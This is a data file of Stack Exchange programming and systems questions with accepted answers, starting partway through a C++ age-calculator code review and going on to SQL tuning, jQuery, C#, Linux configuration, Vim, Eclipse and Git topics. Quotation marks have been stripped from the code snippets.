components of tm structure.   /*cout << 1 + ltm->tm_sec << endl;*/}int welcome() //Get birthday input from user.  Pass info to appropriate functions. Output age in seconds.{    std::cout << Welcome to the Age Calculator!\\n;    std::cout << January \\t-- 1\\t|\\tFebruary \\t-- 2\\nMarch \\t\\t-- 3\\t|\\tApril \\t\\t-- 4\\n;    std::cout << May \\t\\t-- 5\\t|\\tJune \\t\\t-- 6\\nJuly \\t\\t-- 7\\t|\\tAugust \\t\\t-- 8\\n;    std::cout << September \\t-- 9\\t|\\tOctober \\t-- 10\\nNovember \\t-- 11\\t|\\tDecember \\t-- 12;    std::cout << \\n\\nWhat month were you born in: ;    int monthBorn=0;    std::cin >> monthBorn;    int dayOfMonthBorn=0;    std::cout << Enter the day of the month you were born: ;    std::cin >> dayOfMonthBorn;    int yearBorn=0;    std::cout << Enter the year you were born: ;    std::cin >> yearBorn;    std::cout << \\nThank you.  One moment.\\nCalculating...\\n\\n;    int ageInSeconds=0;    ageInSeconds=calcAgeInSeconds(monthBorn,dayOfMonthBorn,yearBorn);    std::cout << You are  << ageInSeconds <<  seconds old! Congratulations!\\n\\n;    std::cout << Enter \\0\\ to end. ;    char endPrg = ' ';    std::cin >> endPrg;    return 0;}int calcAgeInSeconds(int month, int day, int year){   int curYear  =   getTheYear();   int curMon   =   getTheMonth();   int curDay   =   getTheDay();   int curHour  =   getTheHour();   int curMin   =   getTheMinute();   int curSec   =   getTheSecond();   int leapCount=   countLeapYears(curYear, year);   int yearsOld =   curYear - year;   //If person has not had their birthday yet, they are a year younger.   if (curMon < month || (curMon == month && curDay < day))       yearsOld--;   //If this is a leap year, but before leap day, then subtract one leap day.   if (((curYear / 4) * 4 == curYear) && (curMon < 2 || (curMon == 2 && curDay <= 28)))       leapCount--;   //If person born on leap year, but after leap day, subtract one leap day.   if (((year / 4) * 4 == year) && (month > 2))       leapCount--;   int secondsOld   = 0;   int dayOffset    = 0;   dayOffset        = calcOffset(month, day); //Account for days since birthday or until birthday   secondsOld       = yearsOld * 365 + leapCount + dayOffset; //Add up total number of days   secondsOld       = secondsOld * 24 + curHour; //Convert to hours and add today's hours.   secondsOld       = secondsOld * 60 + curMin; //Convert to minutes and add today's minutes.   secondsOld       = secondsOld * 60 + curSec; //Convert to seconds and add today's seconds.   return secondsOld; }int calcOffset(int theirMon, int theirDay){   int curYear  =   getTheYear();   int curMon   =   getTheMonth();   int curDay   =   getTheDay();   int curHour  =   getTheHour();   int curMin   =   getTheMinute();   int curSec   =   getTheSecond();    int dayOff   =   0;   //If they have not yet had their birthday...   if ((curMon < theirMon) || ((curMon == theirMon) && (curDay < theirDay)))       dayOff = 365 - calcDaysRemainingThisYear(theirMon, theirDay);   //If they have had their birthday...   else if ((curMon == theirMon) && (curDay == theirDay))       dayOff = 0;   else       dayOff = calcDaysSinceBDay(theirMon, theirDay);   return dayOff;}int calcDaysRemainingThisYear(int theirMon, int theirDay){    int curYear     = getTheYear();    int curDay      = getTheDay();    int curMon      = getTheMonth();    int dayOffset   = 0;    while (curMon < theirMon)    {        if (curMon == 1)            dayOffset += 31;        else if (curMon == 2)        {            if ((curYear / 4) * 4 == curYear)                dayOffset += 29;            else dayOffset += 28;        }        else if (curMon == 3)            dayOffset += 31;        else if (curMon == 4)            dayOffset += 30;        else if (curMon == 5)            dayOffset += 31;        else if (curMon == 6)            dayOffset += 30;        else if (curMon == 7)            dayOffset += 31;        else if (curMon == 8)            dayOffset += 31;        else if (curMon == 9)            dayOffset += 30;        else if (curMon == 10)            dayOffset += 31;        else if (curMon == 11)            dayOffset += 30;        else if (curMon == 12)        {            dayOffset += 31;            curMon = 0;        }        curMon ++;    }    dayOffset -= curDay;    dayOffset += theirDay;    return dayOffset;}int calcDaysSinceBDay(int theirMon, int theirDay){    int curYear     = getTheYear();    int curDay      = getTheDay();    int curMon      = getTheMonth();    int dayOffset   = 0;    while (theirMon < curMon)    {        if (theirMon == 1)            dayOffset += 31;        else if (theirMon==2)        {            if (((curYear - 1) / 4) * 4 == (curYear - 1))                dayOffset += 29;            else dayOffset += 28;        }        else if (theirMon == 3)            dayOffset += 31;        else if (theirMon == 4)            dayOffset += 30;        else if (theirMon == 5)            dayOffset += 31;        else if (theirMon == 6)            dayOffset += 30;        else if (theirMon == 7)            dayOffset += 31;        else if (theirMon == 8)            dayOffset += 31;        else if (theirMon == 9)            dayOffset += 30;        else if (theirMon == 10)            dayOffset += 31;        else if (theirMon == 11)            dayOffset += 30;        else if (theirMon == 12)        {            dayOffset += 31;            theirMon = 0;        }        theirMon ++;    }    dayOffset -= theirDay;    dayOffset += curDay;    return dayOffset;}int countLeapYears(int curYear, int theirYear){    //Find nearest year divisible by 4 beginning at or prior to the start count,    //then begin subtracting 4 from the start count until we get to the finish count    int leapYears   =   0;    int modYears    =   0;    //Found a better way than the comment under this code.    //No If statements required, just find the mod, take it out, calculate leaps.    modYears = curYear % 4;    curYear -= modYears;    while (curYear >= theirYear)    {        curYear -= 4;        leapYears++;    }    return leapYears;    /* Found a better way than this.  See above.    if ((curYear / 4) * 4 == curYear) //This year is a leap year.    {    }    else if (((curYear - 1) / 4) * 4 == curYear) //Last year was a leap year.    {        while ((curYear - 1) >= theirYear)        {            curYear -= 4;            leapYears++;        }    }    else if (((curYear - 2) / 4) * 4 == curYear) //Year before last was a leap year.    {        while ((curYear - 2) >= theirYear)        {            curYear -= 4;            leapYears++;        }    }    else //Next year is a leap year.    {        while ((curYear - 3) >= theirYear)        {            curYear -= 4;            leapYears++;        }    }    return leapYears;*/}"  , "title": "Calculate Age in Seconds"  , "tags": "c++;algorithm"  , "accepted_answer": "using namespace std;Don't do this, compare for example Why is using namespace std in C++ considered bad practice?. And actually your code does not rely onit, you can simply remove that line.As already mentioned in the comments, neither the argc/argv parametersnor the return statement is required in C++ (see e.g.What should main() return in C and C++? for an overview):int main() {    welcome();}Your welcome() function does all the work (which makes the function name quite misleading).A better design would be to separate between input, calculation,and output:void askForBirthdate(int &dayOfBirth, int &monthOfBirth, int &yearOfBirth){    // ...}int main(){    int dayOfBirth, monthOfBirth, yearOfBirth;    askForBirthdate(dayOfBirth, monthOfBirth, yearOfBirth);    int ageInSeconds = calcAgeInSeconds(dayOfBirth, monthOfBirth, yearOfBirth);    std::cout << You are  << ageInSeconds << old.\\n;}(This will be revised below.) Your age calculation is quite complicated and has errors. As pointed outin the other answers:The leap year algorithm is not correct.Daylight save time transitions are not considered.The current time is retrieved multiple times which can cause inconsistentresults.Instead of converting the current time to day/month/year/... and computingthe difference to the birth day/month/year, it would be easier to gothe other way around: Convert the birth date to a time value(seconds since Jan 1, 1970 UTC) and compute the difference to thecurrent time value (which is obtained by time(0).Converting day/month/year to a time value (according to the localtimezone) is easily done with mktime() (the counterpartto localtime()):time_t timeForDate(int day, int month, int year){    struct tm timeinfo = { 0 };    timeinfo.tm_mday = day;    timeinfo.tm_mon = month - 1;    timeinfo.tm_year = year - 1900;    timeinfo.tm_isdst = -1;    return mktime(&timeinfo);}The main program then becomesint main(){    int dayOfBirth, monthOfBirth, yearOfBirth;    askForBirthdate(dayOfBirth, monthOfBirth, yearOfBirth);    time_t birthTime = timeForDate(dayOfBirth, monthOfBirth, yearOfBirth);    time_t nowTime = time(0);    time_t ageInSeconds = nowTime - birthTime;    std::cout << You are  << ageInSeconds <<  seconds old.\\n;}Some other miscelleaneous remarks:You can get rid of the function declarations if you define allfunctions before using them.Statements likeint ageInSeconds=0;ageInSeconds=calcAgeInSeconds(monthBorn,dayOfMonthBorn,yearBorn);can be combined toint ageInSeconds = calcAgeInSeconds(monthBorn, dayOfMonthBorn, yearBorn);And use more (horizontal) space!Check and fix all compiler warnings. For example, in calcOffset(),curYear and three more variables are computed but their valuesare never used.Always use curly braces { } with if-statements, even if the if orelse part consists only of a single statement. That helps to avoiderrors if the code is edited later.The long if/else if/else if/... statement in calcDaysRemainingThisYear() can be simplified by using a switchstatement."  } 
{  "id": "_cs.11481"  , "question": "I've been trying for a while now to find a solution for the problem in the title: determining if a number is perfect using a Turing Machine. I only had one class on the TM and while I did get how it works, this particular algorithm is being really hard for me to develop.The algorithm I'm trying to implement on the TM is basically this (on C, returns true iff n is a perfect number):int main(int n) {  int i=1, sum=0;  while ( n > i ) {    if ( n % i == 0 ) {      sum = sum + i;    }    i++;  }  return sum == n}The tough part for me right now is the while(n>i) loop and the n%i inside it.Since I already have a program that does a%b, I was trying to build the TM graph around it, but I'm not sure it's the best idea, specially since the b on this case changes on every iteration. The software I'm using to simulate the TM is called JFlap.The algorithm on table or graph form would be perfect."  , "title": "Algorithm to determine if a number is perfect on a Turing Machine"  , "tags": "algorithms;turing machines;decision problem;integers"  } 
{  "id": "_unix.179078"  , "question": "I am looking at a DTS file which tries to specify different nodes, but interestingly I find a few nodes having different style of nomenclature./ {    model = TI AM335x BeagleBone Black;    compatible = ti,am335x-bone-black, ti,am335x-bone, ti,am33xx;};&ldo3_reg {    regulator-min-microvolt = <1800000>;    regulator-max-microvolt = <1800000>;    regulator-always-on;};&mmc1 {    vmmc-supply = <&vmmcsd_fixed>;};&mmc2 {    vmmc-supply = <&vmmcsd_fixed>;    pinctrl-names = default;    pinctrl-0 = <&emmc_pins>;    bus-width = <8>;    status = okay;};/ {    hdmi {        compatible = ti,tilcdc,slave;        i2c = <&i2c0>;        pinctrl-names = default, off;        pinctrl-0 = <&nxp_hdmi_bonelt_pins>;        pinctrl-1 = <&nxp_hdmi_bonelt_off_pins>;        status = okay;    };};What does it convey if a node has & as its prefix? What is the necessity of separating them from root node, while they can be present in the root node itself? Interestingly, the above example also has two root nodes, how is that possible?"  , "title": "Meaning of an ampersand prefix in a device tree"  , "tags": "linux kernel;drivers;boot loader;arm;device tree"  } 
{  "id": "_codereview.127154"  , "question": "The following query is taking over 800ms to run, and returning 300 rows. When deployed to SQL Azure, it takes much longer on an affordable price tier.SELECT    Tests.Id,    Tests.Title,    Tests.AuthorId,    Tests.[Status],    Users.FirstName + ' ' + Users.LastName AS AuthorName,    (SELECT        COUNT(1)     FROM Results LEFT JOIN Users ON Results.UserId = Users.Id     WHERE        Results.TestId = Tests.Id AND        Results.MarkedBy IS NULL AND        Results.QuestionNumber >= 1 AND        EXISTS (          (SELECT ClassName FROM UserClasses WHERE UserClasses.UserId = Users.Id)          INTERSECT          (SELECT ClassName FROM TestClasses WHERE TestClasses.TestId = Tests.Id)          INTERSECT          (SELECT ClassName FROM UserClasses WHERE UserId = @teacherId)        )    ) AS UnmarkedCount,    (CASE WHEN EXISTS (SELECT 1 FROM Results WHERE Results.TestId = Tests.Id)      THEN CAST(1 AS BIT)      ELSE CAST(0 AS BIT) END    ) AS AnyResults,    (SELECT Stuff((SELECT ',' + ClassName FROM      (        (SELECT ClassName FROM TestClasses WHERE TestClasses.TestId = Tests.Id)        INTERSECT        (SELECT ClassName FROM UserClasses WHERE UserId = @teacherId)      ) x FOR XML PATH ('')),1,1,'')    ) AS ClassesFROM    Tests INNER JOIN Users ON Tests.AuthorId = Users.IdWHERE    Users.SchoolId = @schoolId AND Tests.Status <= 4An overview of the schema:Users include students and teachers.UserClasses matches many users to many class names.TestClasses matches many tests to many class names.Each test in Tests can have multiple Results - one per question per student.The query returns a list of tests, using subqueries to find:UnmarkedCount: How many unmarked results exist for this test, where the intersection of the following is not empty:The classes of the student of this resultThe test's classesThe teacher's classesAnyResults: Are there any results for this test?Classes: As a comma-separated list, which of the teacher's classes are assigned to this test?Note that if we remove the condition where three queries are intersected, the execution time is reduced to 150ms. However, this logic is required.How could this be improved?Further Details:Query Execution PlanThis is an extract from the query execution plan, where the heavy lifting seems to occur. I can't see anywhere suggesting indexes.Business logicThe procedure returns a list of all tests at a given school. For each test, it calculates:UnmarkedCount: How many results are not yet marked for students in classes which are both allocated to this test and taught by the current user?Classes: Which of the classes allocated to this test does the current user teach?"  , "title": "SQL query with nested subqueries"  , "tags": "performance;sql;sql server"  , "accepted_answer": "Let's just focus on this part, because that's where your performance goes:SELECT    COUNT(1)FROM Results LEFT JOIN Users ON Results.UserId = Users.IdWHERE    Results.TestId = Tests.Id AND    Results.MarkedBy IS NULL AND    Results.QuestionNumber >= 1 AND    EXISTS (      (SELECT ClassName FROM UserClasses WHERE UserClasses.UserId = Users.Id)      INTERSECT      (SELECT ClassName FROM TestClasses WHERE TestClasses.TestId = Tests.Id)      INTERSECT      (SELECT ClassName FROM UserClasses WHERE UserId = @teacherId)    )That pattern of EXISTS (... INTERSECT ...) is better written as a chain of INNER JOIN.The query optimizer of your database already did that internally as well, but it chose the wrong order for the join, resulting in overly large temporary result sets. Especially when joining UserClasses straight on Results without applying the more selective filter by @teacherId first.SELECT    COUNT(1)FROM ResultsINNER JOIN TestClasses ON    TestClasses.TestId = Tests.Id AND    TestClasses.TestId = Results.TestIdINNER JOIN UserClasses AS TeacherClass ON    TeacherClass.UserId = @teacherId AND    TeacherClass.ClassName = TestClasses.ClassNameINNER JOIN UserClasses AS UserClass ON    UserClass.UserId = Results.UserId AND    UserClass.ClassName = TestClasses.ClassNameWHERE    Results.MarkedBy IS NULL AND    Results.QuestionNumber >= 1I reordered the JOIN clauses to ensure that the product remains as small as possible after each single step. Further, I eliminated the unnecessary join on the User schema.However, you don't actually need full INNER JOIN either. If your database system supports that, you can safely replace the 2nd and 3rd of the INNER JOIN with LEFT SEMI JOIN operators instead.So much for fixing the inner select. But as a matter of fact, now we don't even need to do it as a subquery any more, but can just handle if as a LEFT JOIN with COUNT and GROUP BY on the outmost query.Whether this actually gains any performance needs to be tested.There are also a couple of flaws in your database scheme:Take the UserClasses table schema. You are abusing it to describe both the roles of teacher and student for any given class, without distinguishing between these two. I suspect you coded the user role into the Users schema instead, but it would have been better to store different roles in different schemes.You are apparently storing class names as string literals in multiple schemes, this is an indirect violation of the 2NF, but even worse, it requires string comparisons to match the corresponding columns against each other. This should be refactored ASAP.There also appears to be a possible design flaw in Results. If the same test is reused by two different classes, and a pupil is enrolled into both, his test results are now shared between both classes. Test results should probably linked to a specific enrollment to a class, rather than just to the generic test. This also allows to simplify this query further, as the most expensive part of joining on UserClass for querying pupil enrollment is then obsolete."  } 
{  "id": "_codereview.13507"  , "question": "I have a number of jQuery animation effects applied to certain elements on the page:jQuery(#bgd_balance).animate({        backgroundPositionY: 0px,        backgroundPositionX: 0px,        'background-size':'100%'},800,swing);jQuery(.balance_left_box).delay(2000).slideDown(200,easeInCirc);jQuery(.balance_left_box p.first-line).delay(2400).slideDown(600,easeInCirc);jQuery(.balance_left_box).delay(1000).animate({    height:270px,    top:64px  },100,easeInCirc);The problem I'm facing is that when I'm tweaking delay of a certain element, I have to go through everything and adjust all other delays accordingly.Is it possible to have something like this instead (pseudocode):queue.add(       delay(2000),       jQuery(.balance_left_box).slideDown(200,easeInCirc),       delay(2000),       jQuery(.balance_left_box p.first-line)X.slideDown(600,easeInCirc);       delay(1000),                                jQuery(.balance_left_box).animate({            height:270px,            top:64px          },100,easeInCirc);).run();I know I can achieve this queuing by adding callback function to animate() call but then resulting code will be really bulky and hard to read, in my opinion."  , "title": "Group animation events in jQuery"  , "tags": "javascript;jquery;animation"  , "accepted_answer": "The way I see it, you have 2 options; either use Deferreds, or store your delay in a variable:var delay = 0,    $left_box = $(.balance_left_box);$(#bgd_balance).animate({    backgroundPositionY: 0px,    backgroundPositionX: 0px,    'background-size':'100%'}, 800, swing);$left_box.delay(delay += 2000).slideDown(200, easeInCirc);$left_box.find(p.first-line).delay(delay += 2400).slideDown(600, easeInCirc);$left_box.delay(delay += 1000).animate({    height:270px,    top:64px  }, 100, easeInCirc);"  } 
{  "id": "_cs.65828"  , "question": "DefinitionsAn image filter is a matrix $m \\in \\mathbb{R}^{k_1 \\times k_2 \\times k_3}$ which gets applied to an image $I \\in \\mathbb{R}^{l_1 \\times l_2 \\times l_3}$ as a discrete convolution $$I'(n_1, n_2, n_3) = \\sum_{i=0}^{k_1} \\sum_{j=0}^{k_2} \\sum_{k=0}^{k_3} I[n_1-i - \\lfloor \\frac{k_1}{2} \\rfloor, n_2 - j - \\lfloor \\frac{k_2}{2} \\rfloor, n_3 - k - \\lfloor \\frac{k_3}{2} \\rfloor] \\cdot m[i, j, k]$$There are some well-known filters like Laplace filters, Prewitt filters, ... (see my interactive example)For example, for an RGB image $k_3 = 3$ and $k_1, k_2$ are width and height.QuestionIs there a metric to compare the similarity of image filters?ContextConvolutional Neural Networks (CNNs) learn image filters. As they are randomly initialized, the filters they learn are different each time you train them. I am interested in quantifying those differences.I could, of course, use any metric for elements of $\\mathbb{R}^{k_1 \\times k_2 \\times k_3}$. However, consider the filters$$\\begin{align}m_1 &= \\begin{pmatrix}-1&0&1\\\\-1&0&1\\\\-1&0&1\\end{pmatrix}\\\\m_2 &= \\begin{pmatrix}1&0&-1\\\\1&0&-1\\\\1&0&-1\\end{pmatrix}\\\\m_3 &= \\begin{pmatrix}-0.9&0.1&1\\\\-0.9&0.1&1\\\\-0.9&0.1&1\\end{pmatrix}\\\\\\end{align}$$For the image $m_1$ producesand $m_2$ producesYou can see a difference, but much less than for the result of $m_3$:This is probably not captured by most metrics. Another idea was to apply the metrics to the processed images on a given dataset, but this would make the results depend on the dataset and be computationally very intensive.(In case you want to try image filters yourself with Python: https://gist.github.com/MartinThoma/f51a1044c4abc6c7b81915ef96b7cfbd)"  , "title": "Is there a metric for the similarity of two image filters?"  , "tags": "machine learning;computer vision;comparison"  , "accepted_answer": "The ‘k-translation correlation’ is probably a good candidate for what you are looking for. It measures the maximum correlation between a pair of two filters $\\mathbf{W_i}$ and $\\mathbf{W_j}$ achieved by translating one filter up to k steps along any spatial dimension and then selecting the maximum thereof:$$\\rho_k(\\mathbf{W_i,W_j})=\\max_{(x,y)\\in \\{-k,...,k\\}^2\\setminus(0,0)} \\frac{\\langle\\mathbf{W_i}, T(\\mathbf{W_j}, x,y)\\rangle_f}{\\left \\|  \\mathbf{W_i}\\right \\|_2 \\left \\|  \\mathbf{W_j}\\right \\|_2}\\,,$$where $T(\\cdot, x,y)$ refers to the translation of its first operand by $(x,y)$ and $\\langle\\cdot,\\cdot\\rangle_f$ denotes the flattened inner product of the two filters (the second of which is translated). Note that both filters are reshaped to column vectors to perform the inner product. For more details refer to Doubly Convolutional Networks (Zhai, Cheng, Lu, Zhang, in Proceedings of 30th Conference on Neural Information Processing Systems (NIPS 2016))."  } 
{  "id": "_codereview.138253"  , "question": "I've been working on refactoring a project of mine and need some help. I'm looking to apply some design principles and patterns to make the code cleaner and easier to maintain. It looks like I'm  clearly violating the DRY principle as there seems to be quite a bit of repetition. Also, I think there is a design pattern or two that can be implemented, I'm just not sure which ones.The program implements HP's Blocked Recursive Image Composition (BRIC) algorithm . The algorithm creates and steps through a binary tree multiple times to assign various properties like size, coordinates, and aspect ratios to all of the nodes in the tree.I have a BinaryNode class set up that has references to its left child, right child, and parent as well as holds various properties like size, aspect ratio, and coordinates.My Collage class, where the actual collage is constructed from a list of images passed in to the constructor, is set up like so:class Collage{    private BinaryNode root = new BinaryNode();    private List<Image> images;    private List<ImageDetails> imageInformation = new List<ImageDetails>();    private Size finalCollageSize;    private int collageLength;    private Orientation collageOrientation;    private int borderWidth;    private Color borderColor;    private Random random;    public Collage(List<String> imagePaths, int collageLength, Orientation collageOrientation, int borderWidth, Color borderColor)    {        this.images = convertPathsToImages(imagePaths);        this.collageLength = collageLength;        this.collageOrientation = collageOrientation;        this.borderWidth = borderWidth;        this.borderColor = borderColor;        random = new Random();        SetCollageSplit();    }    ...After the Collage object is constructed, I execute collage.CreateCollage(), which immediately hands off the majority of the algorithm to CreateCollageTree():public Bitmap CreateCollage(){    CreateCollageTree();    ...}private void CreateCollageTree(){    InitializeFullBinaryTree();    SetNodeSplits();    SetImagesToLeafNodes();    SetAspectRatios();    SetFinalCollageSize();    SetNewImageSizes();    SetImageCoordinates();    GetImageDetailsFromTree();}I feel a lot of repetition occurs within these methods. For example, take a look at SetNodeSplits(), SetImagesToLeafNodes(), SetAspectRatios(), SetNewImageSizes(), and SetImageCoordinates(). They all simply parse the tree and perform some action on either an inner node or leaf node. Lots of repetition going on here. I was thinking I could parse the tree only once and call the proper methods once I'm at the right node, but that would obviously violate the Single Responsibility Principle (SRP):/// <summary>/// Construct collage tree. It needs to be a full binary tree/// so add 2 nodes for every one image. Also subtact one from the image/// count because the root node has already been created./// </summary>private void InitializeFullBinaryTree(){    for (int i = 0; i < images.Count - 1; i++)    {        root.addNode();        root.addNode();    }}  /// <summary>/// Assign inner nodes a 'Vertical' or 'Horizontal' split at random (50/50 chance)/// </summary>private void SetNodeSplits(){    var currentNode = root;    var nodeQueue = new Queue<BinaryNode>();    while (currentNode != null)    {        if (currentNode.leftChild != null)        {            nodeQueue.Enqueue(currentNode.leftChild);            nodeQueue.Enqueue(currentNode.rightChild);            if (currentNode.assignedSplit == Split.None)            {                currentNode.assignedSplit = GetRandomSplit();            }        }        currentNode = nodeQueue.Count > 0 ? nodeQueue.Dequeue() : null;    }}/// <summary>/// Assign images to all leaf nodes/// </summary>private void SetImagesToLeafNodes(){    var currentNode = root;    var nodeQueue = new Queue<BinaryNode>();    var imageIndex = 0;    while (currentNode != null)    {        if (currentNode.leftChild != null)        {            nodeQueue.Enqueue(currentNode.leftChild);            nodeQueue.Enqueue(currentNode.rightChild);        }        else        {            // It's a leaf node, so assign an image to it.            if (imageIndex < images.Count)            {                Image image = images[imageIndex];                currentNode.image = image;                currentNode.aspectRatio = (float)image.Width / (float)image.Height;                imageIndex++;            }        }        currentNode = nodeQueue.Count > 0 ? nodeQueue.Dequeue() : null;    }}/// <summary>/// Set aspect ratios of all nodes in the tree/// </summary>private void SetAspectRatios(){    var currentNode = root;    var nodeQueue = new Queue<BinaryNode>();    while (currentNode != null)    {        if (currentNode.leftChild != null)        {            nodeQueue.Enqueue(currentNode.leftChild);            nodeQueue.Enqueue(currentNode.rightChild);        }        currentNode.aspectRatio = CalculateAspectRatio(currentNode);        currentNode = nodeQueue.Count > 0 ? nodeQueue.Dequeue() : null;    }}/// <summary>/// Set image sizes for all nodes in the tre/// </summary>private void SetNewImageSizes(){    var currentNode = root;    var nodeQueue = new Queue<BinaryNode>();    while (currentNode != null)    {        if (currentNode.leftChild != null)        {            nodeQueue.Enqueue(currentNode.leftChild);            nodeQueue.Enqueue(currentNode.rightChild);        }        currentNode.size = CalculateNewImageSize(currentNode);        currentNode = nodeQueue.Count > 0 ? nodeQueue.Dequeue() : null;    }}/// <summary>/// Set coordinates for all nodes in the tree./// </summary>private void SetImageCoordinates(){    var currentNode = root;    var nodeQueue = new Queue<BinaryNode>();    // breadth-first    while (currentNode != null)    {        if (currentNode.leftChild != null)        {            nodeQueue.Enqueue(currentNode.leftChild);            nodeQueue.Enqueue(currentNode.rightChild);        }        currentNode.coordinates = CalculateImageCoordinates(currentNode);        currentNode = nodeQueue.Count > 0 ? nodeQueue.Dequeue() : null;    }}Please help me properly reduce all of this repetition and construct a better design. I'm hoping this is enough information / context. If it's not, I can provide any other code necessary. Also, this is my first C# project, so if there are any conventions or idioms I've violated, please let me know. Thanks a bunch in advance! I truly appreciate any feedback given."  , "title": "Automated collage tool"  , "tags": "c#;object oriented;design patterns"  , "accepted_answer": "I'll just concentrate on DRYing out your code. Create a general VisitTree method:public VisitTree(Action<BinaryNode> reviver){    if (reviver == null)    {        throw new ArgumentNullException(reviver);    }     var currentNode = root;    var nodeQueue = new Queue<BinaryNode>();    while (currentNode != null)    {        if (currentNode.leftChild != null)        {            nodeQueue.Enqueue(currentNode.leftChild);            nodeQueue.Enqueue(currentNode.rightChild);        }        reviver(currentNode);        currentNode = nodeQueue.Count > 0 ? nodeQueue.Dequeue() : null;    }}Then you just create an Action that does all the stuff you want on your tree - you keep SRP because that method (or lambda) should be broken up into different methods that do different things.e.g.VisitTree(node =>     {        SetNodeSplit(node);        SetImageToLeafNode(node);        SetAspectRatio(node);        SetFinalCollageSize(node);        SetNewImageSize(node);        SetImageCoordinate(node);    });I'd also suggest adding a IsLeaf property to your BinaryNode class to make it clearer."  } 
{  "id": "_unix.285586"  , "question": "Below is my /etc/X11/xorg.conf.d/1-fbdev.conf./etc/X11/xorg.conf.d/1-fbdev.confSection Device  Identifier LCD  Driver fbdev  Option fbdev /dev/fb0  Option Rotate UDEndSectionI would like to change the Rotate values in real time (without restarting the X)ex)Option Rotate CWHow do I apply during the execution X by changing the settings of the xf86-video-fbdev in real time?"  , "title": "Can I change the X rotate the xf86-video-fbdev during execution?"  , "tags": "x11;configuration;video;framebuffer"  } 
{  "id": "_hardwarecs.4137"  , "question": "I am building a new server. The existing server has what I consider a very nice case (for my needs). It is 10 years old but in like-new condition. I want some advice on keeping that case and PSU (while replacing the motherboard, CPUs, storage, memory and almost everything else).The existing case is an Intel 5U Server Chassis with dual 730 W RPS hot-swappable redundant power supplies, hot swappable fan modules, hot-swappable drive bays and more. I believe the chassis is from the Intel  SC5400 Family. It was originally sold as a Gateway E-9510T Server R1 [Part #WME876246]. It has the 5U rack conversion kit, and I have a place for it in the rack. Space is not a problem. This document appears to reference the same chassis I have (and it includes some diagrams so you can get an idea what it looks like).Microsoft Word - TPS_SC5400_Rev_1 0_AJ2.doc - sc5400_tps_rev10.pdfftp://ftp.actina.pl/sterowniki/www/Dokumentacja/S5000PSL/sc5400_tps_rev10.pdfThe power supplies look like this (except 730 Watt): https://www.amazon.com/dp/B00QR19214 The potential problems with the case are:the fans are very loud, so I would have to replace them with something quiethalf of the hot-swappable drive bays are for SCSI disks; I will be using SSDs for fast storagehalf of the hot-swappable drive bays are SATA, but not the latest SATA standard; I will be using multiple Seagate 8 TB Archive SATA III HDDs instead.My biggest question is whether the 730 W RPS hot-swappable redundant power supplies are worth keeping. I will be using a Super Micro X10DAL motherboard with dual Xeon E5 26XX v3 CPUs. Will these older PSU output clean enough power?Also relevant: I have a complete spare case, which gives me 2 more PSU in case I have a failure as well as a spare of every other part I might need.Bottom line: Should I try to reuse this Intel Server Chassis for my new build? Or is it just too outdated?If I don't, I'll be using a standard PC case with a normal PSU (not a server chassis). Nothing will be hot-swappable and I won't have redundant PSU. The case I'll go with is a Fractal Design Define R5 and the PSU will be an EVGA Supernova T2 1000W 80+ Titanium."  , "title": "Server case upgrade?"  , "tags": "server;case"  } 
{  "id": "_unix.379856"  , "question": "I am trying to write a systemd daemon that monitors a memory value retrieved from the Embedded Controller(EC), and then depending on the value, enables or disables the touchpad/trackpoint. I have the C code that can retrieve the value from the EC, and I am working on turning that into the Daemon, but I am unsure if it is possible to enable/disable the xinput devices from the daemon.The EC Reading Code is forked from the Y2P-PM project: https://gitlab.com/mikoff/Y2P-PMFrom the terminal I can use xinput set-prop  Device-Enabled <0,1> to enable or disable.My question is, Can this command be called from C, or is there an equivalent way to do the same thing in C?The purpose of this daemon is to enable proper function of the ThinkPad yoga 14s Tablet/Laptop modes, as I have found the EC value that changes when the machine switches between modes. Eventually I would like a module that could enable the 2 in 1 functionality on linux for many models of machine. One additional question, Is there any detrimental effects that could stem from polling the EC?"  , "title": "Disabling an xinput device from a C systemd daemon"  , "tags": "linux;systemd;c;daemon;xinput"  } 
{  "id": "_vi.2207"  , "question": "When I do vimdiff file2 file1, file2 naturally goes on the left and file1 on the right.Sometimes I find that I put them the wrong way round, so I'd like to be able to switch them round without leaving Vim. Is that possible?"  , "title": "In Vimdiff, how do I switch the left and right panes?"  , "tags": "split;vimdiff"  , "accepted_answer": "You can use Ctrlw-x. From :he  CTRL-W_x:CTRL-W x                                            CTRL-W_x CTRL-W_CTRL-XCTRL-W CTRL-X   Without count: Exchange current window with next one.  If there                is no next window, exchange with previous window.                With count: Exchange current window with Nth window (first                window is 1).  The cursor is put in the other window.                When vertical and horizontal window splits are mixed, the                exchange is only done in the row or column of windows that the                current window is in."  } 
{  "id": "_softwareengineering.307253"  , "question": "When Eclipse is written in Java and Java is platform independent, why does Eclipse offer different versions according to platforms?I assume it should be write once, use anywhere code."  , "title": "Why is Eclipse platform dependent?"  , "tags": "java;cross platform;eclipse"  , "accepted_answer": "Although Eclipse IDE is written in Java, the graphical control elements use Standard Widget Toolkit (SWT), whereas most Java applications use the Java standard Abstract Window Toolkit (AWT) or Swing.To display GUI elements, the SWT implementation accesses the native GUI libraries of the operating system using JNI (Java Native Interface) in a manner that is similar to those programs written using operating system-specific APIs. Programs that call SWT are portable, but the implementation of the toolkit, despite part of it being written in Java, is unique for each platform.SWT must be ported to every new GUI library that needs supporting. Unlike Swing and AWT, SWT is not available on every Java-supported platform since SWT is not part of the Java release. Therefore the Eclipse distribution must include different SWT implementation for each supported platform."  } 
{  "id": "_softwareengineering.200643"  , "question": "In Mercurial you can close a branch like this: hg commit --close-branch, this means the the branch will not be listed anymore but will still exist, and can still be listed if you use hg branches --closedI have learned that in Git generally branches are not kept, they disappear, specially when doing fast-forward merges.So my question is: can you keep branches in git but in a way that you don't list them anymore?Edit: Some additional context: In Mercurial branches are metadata, so each commit always knows it's branch. In Mercurial if you want to delete a branch, you strip the base branch revision. You can also rebase and end up with the same result as with Git. Mercurial Bookmarks are pointers, so they have the exact same behavior than a Git Branch."  , "title": "Can you close branches in Git?"  , "tags": "git;mercurial;dvcs"  , "accepted_answer": "I know it's not exactly the same, but could you use a workflow where you tag the feature branches before ‘closing’ them?For example:git merge feature-wxyz -m Merge messagegit tag closed-feature-wxyz feature-wxyzgit branch -d feature-wxyzOf course, you could also annotate the tag (git tag -a closed-feature-wxyz -m Description of closed branch feature-wxyz) if you wish.I know it's not exactly what you asked for, but this would satisfy:a record of the branch is keptthe branch is no longer visible in git branchyou can still base a new branch on the closed one: git checkout -b new-feature-ghij closed-feature-wxyz"  } 
